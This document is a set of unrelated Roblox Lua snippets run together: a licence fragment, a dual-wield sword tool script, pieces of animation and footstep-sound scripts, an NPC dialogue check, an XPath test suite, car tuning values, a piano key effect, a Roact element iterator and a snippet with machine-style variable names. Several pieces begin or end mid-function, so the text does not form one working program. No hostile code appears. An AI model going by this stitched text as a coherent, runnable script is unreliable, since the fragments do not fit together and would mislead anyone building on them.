ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ]]
--Made by Luckymaxer --Updated for R15 avatars by StarWars
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") DamageValues = { BaseDamage = 10, SlashDamage = 11, LungeDamage = 22 } for i, v in pairs(DamageValues) do DamageValues[i] = (v * 0.7) end Damage = DamageValues.BaseDamage Sounds = { Slash = Handle:WaitForChild("SwordSlash"), Lunge = Handle:WaitForChild("SwordLunge"), Unsheath = Handle:WaitForChild("Unsheath"), } Animations = { Hold = {Animation = Tool:WaitForChild("Hold"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil}, Lunge = {Animation = Tool:WaitForChild("Lunge"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = nil}, Slash = {Animation = Tool:WaitForChild("Slash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = nil}, R15Hold = {Animation = Tool:WaitForChild("R15Hold"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil}, R15Lunge = {Animation = Tool:WaitForChild("R15Lunge"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = nil}, R15Slash = {Animation = Tool:WaitForChild("R15Slash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = nil}, } Functions = require(script:WaitForChild("Functions")) ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction")) ServerControl.Name = "ServerControl" ServerControl.Parent = Tool ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction")) ClientControl.Name = "ClientControl" ClientControl.Parent = Tool LastAttack = 0 ToolEquipped = false Handle.Transparency = 0 Tool.Enabled = true function Blow(Hit) if not Hit or not Hit.Parent or not Character or not Humanoid or Humanoid.Health == 0 then return end local character = Hit.Parent local humanoid = character:FindFirstChild("Humanoid") if character == Character or not humanoid or humanoid.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) if player and Functions.IsTeamMate(Player, player) then return end local RightArm = Character:FindFirstChild("Right Arm")or Character:FindFirstChild("RightHand") if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if (RightGrip and (RightGrip.Part0 == Handle or RightGrip.Part1 == Handle)) then Functions.UntagHumanoid(humanoid) Functions.TagHumanoid(humanoid, Player) humanoid:TakeDamage(Damage) end end function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() Spawn(function() if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then InvokeClient("PlayAnimation", Animations.R15Slash) else InvokeClient("PlayAnimation", Animations.Slash) end end) end function Lunge() Damage = DamageValues.LungeDamage Sounds.Lunge:Play() Spawn(function() if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then InvokeClient("PlayAnimation", Animations.R15Lunge) else InvokeClient("PlayAnimation", Animations.Lunge) end end) local Force = Instance.new("BodyVelocity") if Torso and Torso.Parent then Force.velocity = Vector3.new(0, 80, 0) Force.maxForce = Vector3.new(0, 4000, 0) Debris:AddItem(Force, 0.75) Force.Parent = Torso end wait(0.25) if Torso and Torso.Parent then Force.velocity = ((Torso.CFrame.lookVector * 120) + Vector3.new(0, 60, 0)) end wait(0.5) if Force and Force.Parent then Force:Destroy() end wait(0.5) Damage = DamageValues.SlashDamage end function Activated() if not Tool.Enabled then return end Tool.Enabled = false local Tick = RunService.Stepped:wait() if (Tick - LastAttack < 0.2) then Lunge() else Attack() end LastAttack = Tick --wait(0.5) Tool.Enabled = true end function CreateDualWield(Create) for i, v in pairs(Tool:GetChildren()) do if v:IsA("BasePart") and v ~= Handle then v:Destroy() end end if Create and CheckIfAlive() then local LeftArm = Character:FindFirstChild("Left Arm") or Character:FindFirstChild("LeftHand") if not LeftArm then return end FakeHandle = Handle:Clone() FakeHandle.CanCollide = false FakeHandle.Name = "FakeHandle" local LeftGrip = Instance.new("Weld") LeftGrip.C0 = CFrame.new(0, (LeftArm.Name == "LeftHand" and -.15) or -1, 0, 1, 0, -0, 0, 0, 1, 0, -1, -0) LeftGrip.C1 = Tool.Grip LeftGrip.Part0 = LeftArm LeftGrip.Part1 = FakeHandle LeftGrip.Parent = FakeHandle FakeHandle.Parent = Tool FakeHandle.Touched:connect(Blow) else FakeHandle = Handle:Clone() FakeHandle.Name = "FakeHandle" local LeftGrip = Instance.new("Weld") LeftGrip.C0 = (CFrame.new(0, 0, 0) * CFrame.Angles(0, -(math.pi / 4), 0)) LeftGrip.C1 = CFrame.new(0, 0, 0) LeftGrip.Part0 = Handle LeftGrip.Part1 = FakeHandle LeftGrip.Parent = FakeHandle FakeHandle.Parent = Tool end end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso") if not Player or not Humanoid or Humanoid.Health == 0 or not Torso then return end Spawn(function() CreateDualWield(true) if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then InvokeClient("PlayAnimation", Animations.R15Hold) else InvokeClient("PlayAnimation", Animations.Hold) end end) Sounds.Unsheath:Play() end function Unequipped() Spawn(function() CreateDualWield(false) end) ToolEquipped = false end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end function OnServerInvoke(player, Mode, Value) if player ~= Player or not ToolEquipped or not CheckIfAlive() or not Mode or not Value then return end end CreateDualWield(false) ServerControl.OnServerInvoke = OnServerInvoke Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped) Handle.Touched:connect(Blow)
-- Preload animations
function playAnimation(animName, transitionTime, humanoid) if (animName ~= currentAnim) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end currentAnimSpeed = 1.0 local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end
-- emote bindable hook
if FFlagAnimateScriptEmoteHook then script:WaitForChild("PlayEmote").OnInvoke = function(emote) -- Only play emotes when idling if pose ~= "Standing" then return end if emoteNames[emote] ~= nil then -- Default emotes playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid) if userPlayEmoteByIdAnimTrackReturn then return true, currentAnimTrack else return true end elseif typeof(emote) == "Instance" and emote:IsA("Animation") then -- Non-default emotes playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid) if userPlayEmoteByIdAnimTrackReturn then return true, currentAnimTrack else return true end end -- Return false to indicate that the emote could not be played return false end end if (not FFlagUserFixLoadAnimationError) or Character.Parent ~= nil then -- initialize to idle playAnimation("idle", 0.1, Humanoid) pose = "Standing" end
-- Roblox character sound script
local Players = game:GetService("Players") local RunService = game:GetService("RunService") local FootstepsSoundGroup = game:GetService("SoundService"):WaitForChild("Footsteps") local L_1_ = game.Players.LocalPlayer local L_2_ = L_1_.Character local SOUND_DATA = { Climbing = { SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3", Looped = true, }, Died = { SoundId = "rbxasset://sounds/uuhhh.mp3", }, FreeFalling = { SoundId = "rbxasset://sounds/action_falling.mp3", Looped = true, }, GettingUp = { SoundId = "rbxasset://sounds/action_get_up.mp3", }, Jumping = { SoundId = "rbxasset://sounds/action_jump.mp3", }, Landing = { SoundId = "rbxasset://sounds/action_jump_land.mp3", }, Running = { SoundId = '' , Looped = true, Playing = true, Pitch = 1, }, Splash = { SoundId = "rbxasset://sounds/impact_water.mp3", }, Swimming = { SoundId = "rbxasset://sounds/action_swim.mp3", Looped = true, Pitch = 1.6, }, } -- wait for the first of the passed signals to fire local function waitForFirst(...) local shunt = Instance.new("BindableEvent") local slots = {...} local function fire(...) for i = 1, #slots do slots[i]:Disconnect() end return shunt:Fire(...) end for i = 1, #slots do slots[i] = slots[i]:Connect(fire) end return shunt.Event:Wait() end
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return (plrData.Character.NPCSpecifics.GaveGriefToArtie.Value == true) end
-- return self:waitForInstances(function(instances) return #instances >0 end)[1]
local instances = self:waitForNInstances(1) if instances ~= nil and #instances > 0 then return instances[1] end return nil end function XPath:waitForInstances(condition) if type(condition) ~= "function" then error("arg #1 should be a function") end return self:waitFor(function() return self:getInstances() end, condition) end function XPath:waitForDisappear() local _, state = self:waitForInstances(function(instances) return #instances == 0 end) return state == true end function XPath:waitForNInstances(n) return self:waitForInstances(function(instances) return #instances >= n end) end local function makeInstance(className, props, children) local instance = Instance.new(className) if children then for _, child in ipairs(children) do child.Parent = instance end end if props then for k, v in pairs(props) do instance[k] = v end end return instance end local function test() local function closeTo(lhs, rhs, err) return math.abs(lhs-rhs) <= err end local specialChars = [[special chars !"#$%&'()*+,-./:;<=>?@[]\^_`{|}~]] local convertedSpecialChars = [[special chars !"#$%&'()*+\,-\./:;<\=>?@\[\]\\^_`{|}~]] local root if game.Workspace:FindFirstChild("root") == nil then root = makeInstance("Folder", { Name = "root", Parent = game.Workspace }, { makeInstance("Frame", {Name = "Frame"}, { makeInstance("TextButton", { Text = "Button1" }), makeInstance("TextLabel", { Text = "Label1" }), makeInstance("ImageButton", { }) }), makeInstance("Frame", {Name = "Frame"}, { makeInstance("TextButton", { Text = "Button2" }), makeInstance("TextLabel", { Text = "Label2" }) }), makeInstance("Frame", {Name = "Frame"}, { makeInstance("TextLabel", {Text = "Label3"}), makeInstance("Frame", {Name = specialChars}, { makeInstance("TextButton", {Name = "TextButton3"}) }), makeInstance("TextLabel", {Name = "SpecialCharLabel", Text = specialChars}) }) }) end local containerPath = XPath.new("game.Workspace.root.Frame") local getContainerDetail = function(root) return { textButton = XPath.new("TextButton", root), textLabel = XPath.new("TextLabel", root), } end local createSearch = function(container, relativePath, property, value) local rootPath = container:copy() local filter = {{key = "." .. relativePath:toString().."."..property, value = value}} rootPath:mergeFilter(rootPath:size(), filter) return rootPath end local rootPath = createSearch(containerPath, getContainerDetail().textButton, "Text", "Button2") print("createSearch:", rootPath:toString()) local rootInstance = rootPath:waitForFirstInstance() assert(rootInstance) local containerDetail = getContainerDetail(rootInstance) local label2 = containerDetail.textLabel:waitForFirstInstance() assert(label2.Text == "Label2") print("relative path test") local path = XPath.new("game.Workspace.root.Frame[.TextButton.Text = Button2]") local instance = path:getFirstInstance() assert(instance) local relativePath = XPath.new("TextButton", instance) local instance = relativePath:getFirstInstance() assert(instance.Text == "Button2") local path = XPath.new("game.Workspace.root.Frame[.TextButton.Text = Button2, .ClassName = Frame].TextLabel") local instance = path:getFirstInstance() assert(instance.Text=="Label2") local newPathString = XPath.new(instance):toString() assert(newPathString=="game.Workspace.root.Frame.TextLabel") local pathStr = "game.Workspace.root.Frame[."..convertedSpecialChars..".TextButton3.Name = TextButton3].TextLabel" local path = XPath.new(pathStr) assert(path:toString()==pathStr) local instance = path:getFirstInstance() assert(instance.Text=="Label3") local pathStr = "game.Workspace.root.Frame[.SpecialCharLabel.Text = "..convertedSpecialChars.."].TextLabel" local path = XPath.new(pathStr) assert(path:toString()==pathStr) local instance = path:getFirstInstance() assert(instance.Text=="Label3") local pathStr = "game.Workspace.root.Frame."..convertedSpecialChars..".TextButton3" local path = XPath.new(pathStr) local newPathStr = path:toString() assert(newPathStr==pathStr) local instance = path:getFirstInstance() assert(instance.Name=="TextButton3") local rootPath = XPath.new("game.Workspace.root") local path = XPath.new("game.Workspace.root.Frame[.TextButton.Text = Button2, .ClassName = Frame].TextLabel") local relativePath = path:relative(rootPath) relativePath:clearFilter() print("testing getFirstInstance()") print(path:toString()) local instance = path:getFirstInstance() assert(instance.Text == "Label2") print("testing wildcard *") path = XPath.new("game.Workspace.root.*[.TextButton.Text = Button2].TextLabel") instance = path:getFirstInstance() assert(instance.Text == "Label2") path = XPath.new("game.Workspace.root.*[.ImageButton.Name = *].TextLabel") instance = path:getFirstInstance() assert(instance.Text == "Label1") local timeBefore = nil print("testing timeout waitForNInstances() ") path = XPath.new("game.Workspace.root.Frame.TextLabel") timeBefore = tick() local instances, state = path:setWait(2):waitForNInstances(5) assert(closeTo(tick() - timeBefore, 2, 0.5)) assert(state == false) print("testing normal waitForNInstances() ") timeBefore = tick() spawn(function() wait(2) makeInstance("Frame", { Name = "Frame", Parent = game.Workspace.root }, { makeInstance("TextButton", { Text = "Button3" }), makeInstance("TextLabel", { Text = "Label3" }) }) end) local instances = path:setWait(5):waitForNInstances(5) assert(closeTo(tick() - timeBefore, 2, 0.5)) assert(#instances >= 5) print("testing getFirstInstance() ") path = XPath.new("game.Workspace.root.Frame[.TextButton.Text = Button3]") instance = path:getFirstInstance() assert(instance.TextButton.Text == "Button3") print("testing timeout waitForDisappear() ") timeBefore = tick() local notExist = path:setWait(2):waitForDisappear() assert(notExist == false) assert(closeTo(tick() - timeBefore, 2, 0.5)) print("testing normal waitForDisappear() ") timeBefore = tick() spawn(function() wait(2) instance:Destroy() end) local notExist = path:setWait(5):waitForDisappear() assert(closeTo(tick() - timeBefore, 2, 0.5)) assert(notExist == true) print("test finised") end
--[[Wheel Alignment]] --[Don't physically apply alignment to wheels] --[Values are in degrees]
Tune.FCamber = -1 Tune.RCamber = -1 Tune.FToe = 0 Tune.RToe = 0
--local obj = --object or gui or wahtever goes here --local Properties = {} --Properties.Size = UDim2.new() --Tween(obj,Properties,2,true,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false) --Obj,Property,Time,wait,Easingstyle,EasingDirection,RepeatAmt,Reverse
function HighlightPianoKey(note1,transpose) if not Settings.KeyAesthetics then return end local octave = math.ceil(note1/12) local note2 = (note1 - 1)%12 + 1 local original = Piano.Case.Part local key = Piano.Case.Part:Clone() key.Parent = Piano.Keys key.Name = note1 local part local Time = 1 local Properties = {} local part = key key.Position = original.Position + Vector3.new((note1 + .1),-3,0) key.Transparency = 0 if IsBlack(note1) then local obj = key obj.Color = Color3.fromRGB(236, 24, 116) Properties = {} Properties.Transparency = 1 Properties.Position = part.Position + Vector3.new(0,20,0) Tween(obj,Properties,Time,true,Enum.EasingStyle.Linear) else local obj = key obj.Color = Color3.fromRGB(197, 93, 223) Properties = {} Properties.Transparency = 1 Properties.Position = part.Position + Vector3.new(0,20,0) Tween(obj,Properties,Time,true,Enum.EasingStyle.Linear) end key:Destroy() return end
--[[ Returns an iterator over the children of an element. `elementOrElements` may be one of: * a boolean * nil * a single element * a fragment * a table of elements If `elementOrElements` is a boolean or nil, this will return an iterator with zero elements. If `elementOrElements` is a single element, this will return an iterator with one element: a tuple where the first value is ElementUtils.UseParentKey, and the second is the value of `elementOrElements`. If `elementOrElements` is a fragment or a table, this will return an iterator over all the elements of the array. If `elementOrElements` is none of the above, this function will throw. ]]
function ElementUtils.iterateElements(elementOrElements) local richType = Type.of(elementOrElements) -- Single child if richType == Type.Element then local called = false return function() if called then return nil else called = true return ElementUtils.UseParentKey, elementOrElements end end end local regularType = typeof(elementOrElements) if elementOrElements == nil or regularType == "boolean" then return noop end if regularType == "table" then return pairs(elementOrElements) end error("Invalid elements") end
--// Math
local L_131_ = function(L_168_arg1, L_169_arg2, L_170_arg3) if L_168_arg1 > L_170_arg3 then return L_170_arg3 elseif L_168_arg1 < L_169_arg2 then return L_169_arg2 end return L_168_arg1 end local L_132_ = L_120_.new(Vector3.new()) L_132_.s = 30 L_132_.d = 0.55 local L_133_ = CFrame.Angles(0, 0, 0)
-- Vector Util -- Stephen Leitnick -- April 22, 2020